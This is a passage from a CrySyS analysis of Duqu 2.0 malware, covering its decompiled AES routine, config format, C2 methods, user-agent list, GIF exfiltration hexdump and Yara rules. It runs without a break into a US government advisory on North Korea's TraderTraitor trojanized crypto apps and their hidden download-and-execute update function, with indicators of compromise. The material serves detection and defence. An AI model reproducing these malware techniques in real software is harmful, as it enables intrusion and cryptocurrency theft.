the table) and the main module of Duqu 2.0 (lower part of the table).
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  21 First, the initialization routine copies the pointer of the input data buffer into the data member of the aeswrapper object.
The routine takes this pointer as its second parameter.
The first parameter is the pointer (reference) of the object instance, since in C, the first (hidden) parameter of a (non-static) class method is always the pointer of the object, or in other words, the this pointer.
In case of Duqu 2.0, the routine has a third parameter, the pointer to the buffer containing the key.
After that, the content of the key buffer (which is a global buffer in the first case) is copied into the local key_ buffer in both cases.
Then the prepare_key method of the AES object prepares the final encryption key based on this key, and feeds it into the aeswrapper object.
Invocation of the prepare_key method can also be seen in the assembly view (see Sample 4.
),
the method is referred by the name AES1_sub_2F9B1 in case of Duqu and AES_1_sub_1001690A in case of Duqu 2.0.
In the Duqu 2.0 case, the function has one more parameter, as this can also be seen in the assembly view, and the length of the AES key is chosen as 256 bits.
Finally, the remaining part of the code initializes the IV member of aeswrapper object.
Every byte of the IV is generated by XORing the index of the actual byte with a magic constant (0xDEADBABE and 0x248561EF, respectively, in the two cases).
Byte index starts from zero.
aeswrapper aeswrapper::initialize(aeswrapper this, buffer data)  unsigned int i char key_[32] this-data  data // Key is a constant global variable with fixed value qmemcpy(key_, key, sizeof(key_)) // AES::prepare_key assumes that the key is always 256 bits AES::prepare_key(this-aes, key_) i  0 do  Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  22 this-iv[i]  i  0xDEADBABE  // Magic value i  while ( i  4 ) return this  aeswrapper aeswrapper::initialize(aeswrapper this, buffer data, char key )  unsigned int i char key_[32] this-data  data // Key is an argument qmemcpy(key_, key, sizeof(key_)) // AES::prepare_key takes a key_length argument, supports 128, 192, 256 AES::prepare_key(this-aes, key_, 256) i  0 do  this-iv[i]  i  0x248561EF  // Magic value i  while ( i  4 ) return this  Sample 6  Old Duqu and new Duqu 2.0 encryption initialization routine with differences  highlighted (red comments) As we can see, there are only three small differences between the routines: the magic constants used by the IV generation, the fact that in Duqu the key is a constant global variable with fixed value while in Duqu 2.0 it is an argument of the initialization function, and finally, the possible length of the key.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  23 In case of Duqu, the prepare_key function assumes that the key is always 256 bits, while in case of Duqu 2.0, the prepare_key function takes the key length as an argument.
Key length can be 128, 192 or 256 bits.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  24 2.4.
Format of the (encrypted) configuration file Under the encryption layer (which is identical in the new and old samples as described in the previous section), the configuration file format of the new Duqu 2.0 samples is very similar to the old Duqu config file format.
For an overview, see Figure 5 below.
Figure 5  File format found in Duqu (first diagram) and Duqu 2.0 (second diagram) (Rectangles always denote little endian 4 byte integers if not stated otherwise) The format is designed to hold key-value pairs.
The keys are always 4-byte long, and the values can be of arbitrary size.
We believe that the keys are timestamps and the values are configuration entries, although the file format could hold any other similarly structured information (e.g.
configurations).
The old file format begins with 4 bytes whose value is undefined.
In the serialization process, it is read from an uninitialized buffer, and it is ignored in the deserialization process.
The new file format does not have such a beginning byte sequence.
The main part of the file format is surrounded by 4 signature bytes at the beginning and at the end.
The byte sequence in the old Duqu file format is 0x839172FF, and in the new Duqu 2.0 version, it is 0x7749CB4D.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  25 In both cases, the next integer indicates the number of entries, followed by the entries themselves.
Each entry begins with a 4-byte key, and then the value.
In the new format, the value always begins with 13 bytes (that can be logically divided into four 4 byte integers and a 1 byte value: 44144), but in the old format, this is missing.
Furthermore, the value contains a variable size part in both formats.
This is a length prefixed buffer that can hold arbitrary data.
In essence, the only difference between the Duqu and the Duqu 2.0 config file formats is the presence of the undefined 4 bytes at the beginning of the file in the old version, and the presence of the 13 additional value bytes in the new version.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  26 2.5.
Logging functions Weve identified a characteristic logging function that is present in both Duqu and Duqu 2.0, and is used extensively in the networking (mainly HTTP handling) part of the code.
The logging function itself is identical, and the data structure used for storing log entries is very similar.
The Duqu version of the data structure has embedded function pointers, while the Duqu 2.0 version uses a virtual function table like structure.
The main difference from a C virtual function table is that the pointer to the table is the last field of the associated structure instead of the first field (see Figure 6).
In general, change in the coding style can be seen all over the code.
While Duqu uses object oriented style that is similar, but not identical to what C compilers do, Duqu 2.0 moved mainly to real C, but there are still deviations from the standard C style (like the previously function table).
Figure 6  Log entry structure and the associated virtual function table in Duqu and Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  27 Both the Duqu and Duqu 2.0 avoids storing the messages logged through this function.
In both codebase, a handle_log_entry function is called after creating the log entry structure, but this function throws the object away (frees the memory) and does not print or save it.
The authors probably used C/C macros to avoid detailed logging in release builds, but in this case we still see the logging function invocation.
In this case, the macro was probably placed in the function that should have printed the log message (handle_log_entry), and since this is a virtual function, the compiler could not optimize out the function invocations directly.
The logging function is called equal times in the Duqu and the Duqu 2.0 samples, and the invocation is always very similar (see Figure 7).
The arguments are usually not strings describing the event directly, but 4 byte magic numbers.
The logging function is invoked equal times, and the magic numbers are almost always identical in Duqu and Duqu 2.0.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  28 Figure 7  References to the logger function in Duqu and Duqu 2.0, and one of the invocations Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  29 2.6.
Command  Control communication The network communication methods used by Duqu 2.0 are described in the following list.
SocketServer1: In export function nr1, if in the config the startSockServer parameter is set, it will start a server accordingly SocketServer2: Binds between ports 17000 and 17100, can be configured to be client or server GifServer: With Custom HTTP Server implementation, possibly based on SocketServer2 PipeComm: PIPE or IPC communication, customizable network communication HttpClient: WinHTTP-based, simple client, uses COUNTRY in cookie parameters, (standard HTTP client) Table 2  Network communication methods used by Duqu 2.0 Duqu has used a very unique user agent string when communicating over HTTP: Mozilla/5.0 (Windows U Windows NT 6.0 en-US rv:1.9.2.9) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  30 In contrast, Duqu 2.0 chooses user agent string randomly from a large set of often used values listed in Sample 7.
The following list shows the browser agent strings found in Duqu 2.0: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6 Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0 chromeframe/11.0.696.57) Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.0 Trident/5.0 chromeframe/11.0.696.57) Mozilla/5.0 (compatible MSIE 8.0 Windows NT 6.0 Trident/4.0 InfoPath.1 SV1 .NET CLR 3.8.36217 WOW64 en-US) Mozilla/5.0 (compatible MSIE 8.0 Windows NT 6.0 Trident/4.0 WOW64 Trident/4.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 .NET CLR 1.0.3705 .NET CLR 1.1.4322) Mozilla/5.0 (Windows NT 6.2 WOW64 rv:15.0) Gecko/20120910144328 Firefox/15.0.2 Mozilla/4.0 (compatible MSIE 7.0 Windows NT 6.1 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0 .NET4.0C .NET4.0E) Mozilla/5.0 (Windows NT 6.1 rv:6.0) Gecko/20110814 Firefox/6.0 Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 WOW64 Trident/5.0 .NET CLR 3.5.30729 .NET CLR 3.0.30729 .NET CLR 2.0.50727 Media Center PC 6.0) Mozilla/5.0 (compatible MSIE 8.0 Windows NT 5.2 Trident/4.0 Media Center PC 4.0 SLCC1 .NET CLR 3.0.04320) Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0 FunWebProducts) Mozilla/5.0 (Windows NT 6.2 WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  31 Mozilla/5.0 (compatible MSIE 10.0 Windows NT 6.1 Trident/5.0) Mozilla/5.0 (Windows NT 6.1 rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 Mozilla/5.0 (Windows NT 6.1 Win64 x64 rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (Windows U MSIE 7.0 Windows NT 6.0 en-US) Mozilla/5.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 SLCC1 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Mozilla/5.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 1.1.4325) Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/4.0 GTB7.4 InfoPath.1 SV1 .NET CLR 2.8.52393 WOW64 en-US) Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7ad-imcjapan-syosyaman-xkgi3lqg03wgz Mozilla/4.0 (compatible MSIE 7.0b Windows NT 5.1 FDM .NET CLR 1.1.4322) Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0 InfoPath.2 .NET CLR 1.1.4322 .NET4.0C Tablet PC 2.0) Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 Trident/4.0 GTB6.5 QQDownload 534 Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1)  SLCC2 .NET CLR 2.0.50727 Media Center PC 6.0 .NET CLR 3.5.30729 .NET CLR 3.0.30729) Mozilla/4.0 (compatible MSIE 7.0b Windows NT 5.1 .NET CLR 1.1.4322) Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (Windows NT 6.1 rv:15.0) Gecko/20120716 Firefox/15.0a2 Mozilla/5.0 (Windows NT 6.1 WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.0 WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/537.11 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  32 Mozilla/5.0 (Windows NT 6.1 U ru rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1 Mozilla/5.0 (Windows NT 6.1.1 rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (compatible MSIE 7.0 Windows NT 5.2 WOW64 .NET CLR 2.0.50727) Mozilla/5.0 (Windows NT 6.1 WOW64 rv:6.0a2) Gecko/20110612 Firefox/6.0a2 Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Win64 x64 Trident/5.0 Mozilla/5.0 (Windows U Windows NT 5.1 en-US rv:1.9.1.16) Gecko/20120427 Firefox/15.0a1 Mozilla/5.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 1.1.4322 .NET CLR 2.0.50727) Mozilla/5.0 (Windows NT 6.2 WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.17 Safari/537.11 Mozilla/5.0 (Windows NT 5.1 rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6 Mozilla/4.0 (MSIE 6.0 Windows NT 5.1) Mozilla/5.0 (Windows NT 6.2 Win64 x64 rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.1 Win64 x64 rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.0 WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (compatible MSIE 7.0 Windows NT 6.0 SLCC1 .NET CLR 2.0.50727 Media Center PC 5.0 c .NET CLR 3.0.04506 .NET CLR 3.5.30707 InfoPath.1 el-GR) Mozilla/5.0 (Windows NT 6.1 UWOW64 derv:11.0) Gecko Firefox/11.0 Mozilla/3.0 (Windows NT 6.1 rv:2.0.1) Gecko/20100101 Firefox/5.0.1 Mozilla/5.0 (Windows U MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727) Mozilla/5.0 (Windows NT 6.1 derv:12.0) Gecko/20120403211507 Firefox/12.0 Sample 7 48 Browser agent strings in Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  33 2.7.
DLL imports Duqu 2.0 uses more than one method to import functions from DLLs.
One of the methods utilizes a hash method to represent function names as 4 byte integers.
It iterates through all importable function and finds the one whose function name hash matches the given hash.
This hash function uses a magic number.
A very similar import method and hash function is used in Duqu and Duqu 2.0 although the magic numbers are different: 0x86F186F1 and 0xB31FB31F.
Note that even the inner structure of the magic numbers are similar (2x2 bytes).
Sample 8  Hash function used for imports in Duqu and Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  34 3.
Indicators of Compromise 3.1.
Detection based on communications The malware can transmit information through HTTP traffic.
It is most likely that one or more infected computers can be proxy points towards the attacker, meaning that other infected computers communicate with these proxies.
These proxies can act as HTTP or HTTPS servers.
For HTTPS, a self signed certificate is created by the malware itself.
(
Most likely by contacting gpl3.selfsigned.org).
The Common Name (CN) field seems to be  in the created certificate.
During data transfer, the malware uses 5 random numbers.gif for file name and a 843-byte GIF file  additional random bytes.
The transmissions may be protected by AES.
One possible way to detect such transmission (if cleartext traffic is somehow available) to detect the actual 843-byte GIF file.
For the known two samples, this GIF portion was identical.
The actual image in hex dump is the following: 00000000  47 49 46 38 39 61 0b 00  0b 00 70 00 00 21 f9 04  GIF89a....p.... 00000010  01 00 00 fc 00 2c 00 00  00 00 0b 00 0b 00 87 00  .....,.......... 00000020  00 00 00 00 33 00 00 66  00 00 99 00 00 cc 00 00  ....3..f........ 00000030  ff 00 2b 00 00 2b 33 00  2b 66 00 2b 99 00 2b cc  ....3.f.... 00000040  00 2b ff 00 55 00 00 55  33 00 55 66 00 55 99 00  ...U..U3.Uf.
U.. 00000050  55 cc 00 55 ff 00 80 00  00 80 33 00 80 66 00 80  U..U......3..f.. 00000060  99 00 80 cc 00 80 ff 00  aa 00 00 aa 33 00 aa 66  ............3..f 00000070  00 aa 99 00 aa cc 00 aa  ff 00 d5 00 00 d5 33 00  ..............3.
00000080  d5 66 00 d5 99 00 d5 cc  00 d5 ff 00 ff 00 00 ff  .f.............. 00000090  33 00 ff 66 00 ff 99 00  ff cc 00 ff ff 33 00 00  3..f.........3.. 000000a0  33 00 33 33 00 66 33 00  99 33 00 cc 33 00 ff 33  3.33.f3..3..3..3 000000b0  2b 00 33 2b 33 33 2b 66  33 2b 99 33 2b cc 33 2b  .333f3.3.3 000000c0  ff 33 55 00 33 55 33 33  55 66 33 55 99 33 55 cc  .3U.3U33Uf3U.3U.
000000d0  33 55 ff 33 80 00 33 80  33 33 80 66 33 80 99 33  3U.3..3.33.f3..3 000000e0  80 cc 33 80 ff 33 aa 00  33 aa 33 33 aa 66 33 aa  ..3..3..3.33.f3.
000000f0  99 33 aa cc 33 aa ff 33  d5 00 33 d5 33 33 d5 66  .3..3..3..3.33.f 00000100  33 d5 99 33 d5 cc 33 d5  ff 33 ff 00 33 ff 33 33  3..3..3..3..3.33 00000110  ff 66 33 ff 99 33 ff cc  33 ff ff 66 00 00 66 00  .f3..3..3..f..f. 00000120  33 66 00 66 66 00 99 66  00 cc 66 00 ff 66 2b 00  3f.ff..f..f..f. 00000130  66 2b 33 66 2b 66 66 2b  99 66 2b cc 66 2b ff 66  f3fff.f.f.f 00000140  55 00 66 55 33 66 55 66  66 55 99 66 55 cc 66 55  U.fU3fUffU.fU.fU 00000150  ff 66 80 00 66 80 33 66  80 66 66 80 99 66 80 cc  .f..f.3f.ff..f.. 00000160  66 80 ff 66 aa 00 66 aa  33 66 aa 66 66 aa 99 66  f..f..f.3f.ff..f 00000170  aa cc 66 aa ff 66 d5 00  66 d5 33 66 d5 66 66 d5  ..f..f..f.3f.ff.
00000180  99 66 d5 cc 66 d5 ff 66  ff 00 66 ff 33 66 ff 66  .f..f..f..f.3f.f Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  35 00000190  66 ff 99 66 ff cc 66 ff  ff 99 00 00 99 00 33 99  f..f..f.......3.
000001a0  00 66 99 00 99 99 00 cc  99 00 ff 99 2b 00 99 2b  .f............ 000001b0  33 99 2b 66 99 2b 99 99  2b cc 99 2b ff 99 55 00  3.f.......U.
000001c0  99 55 33 99 55 66 99 55  99 99 55 cc 99 55 ff 99  .U3.Uf.
U..U..U.. 000001d0  80 00 99 80 33 99 80 66  99 80 99 99 80 cc 99 80  ....3..f........ 000001e0  ff 99 aa 00 99 aa 33 99  aa 66 99 aa 99 99 aa cc  ......3..f...... 000001f0  99 aa ff 99 d5 00 99 d5  33 99 d5 66 99 d5 99 99  ........3..f.... 00000200  d5 cc 99 d5 ff 99 ff 00  99 ff 33 99 ff 66 99 ff  ..........3..f.. 00000210  99 99 ff cc 99 ff ff cc  00 00 cc 00 33 cc 00 66  ............3..f 00000220  cc 00 99 cc 00 cc cc 00  ff cc 2b 00 cc 2b 33 cc  ............3.
00000230  2b 66 cc 2b 99 cc 2b cc  cc 2b ff cc 55 00 cc 55  f.......U..U 00000240  33 cc 55 66 cc 55 99 cc  55 cc cc 55 ff cc 80 00  3.Uf.
U..U..U.... 00000250  cc 80 33 cc 80 66 cc 80  99 cc 80 cc cc 80 ff cc  ..3..f.......... 00000260  aa 00 cc aa 33 cc aa 66  cc aa 99 cc aa cc cc aa  ....3..f........ 00000270  ff cc d5 00 cc d5 33 cc  d5 66 cc d5 99 cc d5 cc  ......3..f...... 00000280  cc d5 ff cc ff 00 cc ff  33 cc ff 66 cc ff 99 cc  ........3..f.... 00000290  ff cc cc ff ff ff 00 00  ff 00 33 ff 00 66 ff 00  ..........3..f.. 000002a0  99 ff 00 cc ff 00 ff ff  2b 00 ff 2b 33 ff 2b 66  ..........3.f 000002b0  ff 2b 99 ff 2b cc ff 2b  ff ff 55 00 ff 55 33 ff  .......U..U3.
000002c0  55 66 ff 55 99 ff 55 cc  ff 55 ff ff 80 00 ff 80  Uf.
U..U..U...... 000002d0  33 ff 80 66 ff 80 99 ff  80 cc ff 80 ff ff aa 00  3..f............ 000002e0  ff aa 33 ff aa 66 ff aa  99 ff aa cc ff aa ff ff  ..3..f.......... 000002f0  d5 00 ff d5 33 ff d5 66  ff d5 99 ff d5 cc ff d5  ....3..f........ 00000300  ff ff ff 00 ff ff 33 ff  ff 66 ff ff 99 ff ff cc  ......3..f...... 00000310  ff ff ff 00 00 00 00 00  00 00 00 00 00 00 00 08  ................ 00000320  28 00 ed 09 1c 48 50 20  3c 7b 07 13 22 5c 68 70  (....HP ..\hp 00000330  e0 41 87 0d 1f 2a 64 d8  b0 e2 c4 8b 10 09 4a 8c  .A...d.......J.
00000340  c8 10 63 c5 8f 1b 37 06  04 00 3b                 ..c...7... 0000034b Sample 9  Hexdump of the actual GIF image The image itself is a small picture, basic color is yellow and there are some orange dots in it: Sample 10  The actual GIF image Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  36 3.2.
Yara rules to identify For the main binary of the malware, we propose the following rules for detection: rule duqu2  strings: a   0F B6 C8 8B C1 0F AF C9 83 E0 ?
?
C1 E0 ?
?
05 ??
??
?? ?
?
0F AF D8 8B ??
?? ?
?
33 D9 b   0F 84 ??
??
?? ?
?
0F B7 06 B9 ??
??
?? ?
?
33 C1 3D ??
??
?? ?
?
0F 85 ??
??
?? ?
?
8B condition: any of them  Sample 11  Yara rules for detection of Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  37 4.
Conclusion Weve made an initial analysis to prove our claims that there is a strong connection between Duqu and Duqu 2.0 malwares.
Our main goal was to highlight the most striking similarities and differences between the samples.
Similarities shows that the developers of Duqu 2.0 have reused the code basis of the old Duqu specimens and the differences found in the binaries indicates that the developers of Duqu have modified their tools to avoid detections.
5.
References [CrySySDuqu] CrySyS, Duqu: A Stuxnet-like malware found in the wild, v0.93 (14/Oct/2011) http://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf [SymantecDuqu] Symantec, W32.Duqu: The precursor to the next Stuxnet, Version 1.4 (November 23, 2011) http://www.symantec.com/content/en/us/enterprise/media/security_response/white papers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf [KasperskyDuqu] Kaspersky Lab, Duqu: Steal Everything, Kaspersky Labs investigation - The Mystery of Duqu in blogs http://www.kaspersky.com/about/press/major_malware_outbreaks/duqu [SymantecDossier] Symantec, W32.Stuxnet Dossier, Version 1.4 (February 2011) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  38 http://www.symantec.com/content/en/us/enterprise/media/security_response/white papers/w32_stuxnet_dossier.pdf [KasperskyDuqu2.0] Kaspersky Lab, The Duqu 2.0: Technical Details, Version: 1.9.8 (2.June.2015) https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated- cyberespionage-actor-returns/ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  39 6.
Contact Information Questions and comments are welcome.
The corresponding author is Dr. Boldizsr Bencsth bencsathcrysys.hu Laboratory of Cryptography and System Security CrySyS  http://www.crysys.hu/ Budapest University of Technology and Economics Department of Telecommunications 1117 Magyar Tudsok Krt.
2.
Budapest, Hungary GPG BENCSATH Boldizsar boldicrysys.hu Key ID 0x64CF6EFB Fingerprint 286C A586 6311 36B3 2F94 B905 AFB7 C688 64CF 6EFB
Product ID: A22-108A April 18, 2022 TLP:WHITE Co-Authored by: TraderTraitor: North Korean State-Sponsored APT Targets Blockchain Companies SUMMARY The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the U.S. Treasury Department (Treasury) are issuing this joint Cybersecurity Advisory (CSA) to highlight the cyber threat associated with cryptocurrency thefts and tactics used by a North Korean state-sponsored advanced persistent threat (APT) group since at least 2020.
This group is commonly tracked by the cybersecurity industry as Lazarus Group, APT38, BlueNoroff, and Stardust Chollima.
For more information on North Korean state-sponsored Actions to take today to mitigate cyber threats to cryptocurrency: Patch all systems.
Prioritize patching known exploited vulnerabilities.
Train users to recognize and report phishing attempts.
Use multifactor authentication.
malicious cyber activity, visit https://www.us-cert.cisa.gov/northkorea.
The U.S. government has observed North Korean cyber actors targeting a variety of organizations in the blockchain technology and cryptocurrency industry, including cryptocurrency exchanges, decentralized finance (DeFi) protocols, play-to-earn cryptocurrency video games, cryptocurrency trading companies, venture capital funds investing in cryptocurrency, and individual holders of large amounts of cryptocurrency or valuable non-fungible tokens (NFTs).
The activity described in this advisory involves social engineering of victims using a variety of communication platforms to encourage individuals to download trojanized cryptocurrency applications on Windows or macOS operating systems.
The cyber actors then use the applications to gain access to the victims To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatchfbi.gov.
When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at reportcisa.gov.
DISCLAIMER: The information in this advisory is provided as is for informational purposes only.
The FBI, CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.
TLP:WHITE http://www.us-cert.gov/tlp mailto:reportcisa.gov mailto:CyWatchfbi.gov www.fbi.gov/contact-us/field https://www.us-cert.cisa.gov/northkorea FBI  CISA  TreasuryTLP:WHITE computer, propagate malware across the victims network environment, and steal private keys or exploit other security gaps.
These activities enable additional follow-on activities that initiate fraudulent blockchain transactions.
The U.S. government previously published an advisory about North Korean state-sponsored cyber actors using AppleJeus malware to steal cryptocurrency: AppleJeus: Analysis of North Koreas Cryptocurrency Malware.
The U.S. government has also previously published advisories about North Korean state-sponsored cyber actors stealing money from banks using custom malware: HIDDEN COBRA  FASTCash Campaign FASTCash 2.0: North Koreas BeagleBoyz Robbing Banks This advisory provides information on tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to stakeholders in the blockchain technology and cryptocurrency industry to help them identify and mitigate cyber threats against cryptocurrency.
TECHNICAL DETAILS Threat Update The U.S. government has identified a group of North Korean state-sponsored malicious cyber actors using tactics similar to the previously identified Lazarus Group (see AppleJeus: Analysis of North Koreas Cryptocurrency Malware).
The Lazarus Group used AppleJeus trojanized cryptocurrency applications targeting individuals and companiesincluding cryptocurrency exchanges and financial services companiesthrough the dissemination of cryptocurrency trading applications that were modified to include malware that facilitates theft of cryptocurrency.
As of April 2022, North Koreas Lazarus Group actors have targeted various firms, entities, and exchanges in the blockchain and cryptocurrency industry using spearphishing campaigns and malware to steal cryptocurrency.
These actors will likely continue exploiting vulnerabilities of cryptocurrency technology firms, gaming companies, and exchanges to generate and launder funds to support the North Korean regime.
Tactics, Techniques and Procedures Intrusions begin with a large number of spearphishing messages sent to employees of cryptocurrency companiesoften working in system administration or software development/IT operations (DevOps)on a variety of communication platforms.
The messages often mimic a recruitment effort and offer high-paying jobs to entice the recipients to download malware-laced cryptocurrency applications, which the U.S. government refers to as TraderTraitor.
The term TraderTraitor describes a series of malicious applications written using cross-platform JavaScript code with the Node.js runtime environment using the Electron framework.
The malicious applications are derived from a variety of open-source projects and purport to be cryptocurrency trading or price prediction tools.
TraderTraitor campaigns feature websites with modern design advertising the alleged features of the applications (see figure 1).
Page 2 of 14   Product ID: A22-108A TLP:WHITE FBI  CISA  TreasuryTLP:WHITE Figure 1: Screenshot of CryptAIS website The JavaScript code providing the core functions of the software is bundled with Webpack.
Within the code is a function that purports to be an update, with a name such as UpdateCheckSync(), that downloads and executes a malicious payload (see figure 2).
The update function makes an HTTP POST request to a PHP script hosted on the TraderTraitor projects domain at either the endpoint /update/ or /oath/checkupdate.php.
In recent variants, the servers response is parsed as a JSON document with a key-value pair, where the key is used as an AES 256 encryption key in Cipher Block Chaining (CBC) or Counter (CTR) mode to decrypt the value.
The decrypted data is written as a file to the systems temporary directory, as provided by the os.tmpdir() method of Node.js, and executed using the child_process.exec() method of Node.js, which spawns a shell as a child process of the current Electron application.
The text Update Finished is then logged to the shell for the user to see.
Observed payloads include updated macOS and Windows variants of Manuscrypt, a custom remote access trojan (RAT), that collects system information and has the ability to execute arbitrary commands and download additional payloads (see North Korean Remote Access Tool: COPPERHEDGE).
Post-compromise activity is tailored specifically to the victims environment and at times has been completed within a week of the initial intrusion.
Page 3 of 14   Product ID: A22-108A TLP:WHITE FBI  CISA  TreasuryTLP:WHITE Figure 2: Screenshot depicting the UpdateCheckSync() and supporting functions bundled within 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 associated with DAFOM Page 4 of 14   Product ID: A22-108A TLP:WHITE FBI  CISA  TreasuryTLP:WHITE Indicators of Compromise DAFOM DAFOM purports to be a cryptocurrency portfolio application.
A Mach-O binary packaged within the Electron application was signed by an Apple digital signature issued for the Apple Developer Team W58CYKFH67.
The certificate associated with Apple Developer Team W58CYKFH67 has been revoked.
A metadata file packaged in the DAFOM application provided the URL hxxps://github[.
]com/dafomdev for bug reports.
As of April 2022, this page was unavailable.
dafom[.
]dev Information as of February 2022: IP Address: 45.14.227[.
]58 Registrar: NameCheap, Inc.
Created: February 7, 2022 Expires: February 7, 2023 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 Tags: dropper macos Name: DAFOM-1.0.0.dmg Size: 87.91 MB (92182575 bytes) MD5: c2ea5011a91cd59d0396eb4fa8da7d21 SHA-1: b2d9ca7b6d1bbbe4864ea11dfca343b7e15597d8 SHA-256: 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 ssdeep: 1572864:LGLBnolF9kPEiKOabR2QEs1B1/LuUQrbecE6Xwijkca/pzpfaLtIP:LGVnoT9kPZK9tVEwBxW becR5Faxzpf0M TokenAIS TokenAIS purports to help build a portfolio of AI-based trading for cryptocurrencies.
Mach-O binaries packaged within the Electron application contained an Apple digital signature issued for the Apple Developer Team RN4BTXA4SA.
The certificate associated with Apple Developer Team RN4BTXA4SA has been revoked.
The application requires users to register an account by entering an email address and a password to use its features.
The malicious TraderTraitor code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is bundled in a file called renderer.prod.js, which is in an archive called app.asar.
This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CBC mode with the hardcoded initialization vector (IV) 34QWer78TYui and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell.
tokenais[.
]com Information as of January 2022: IP Address: 199.188.103[.
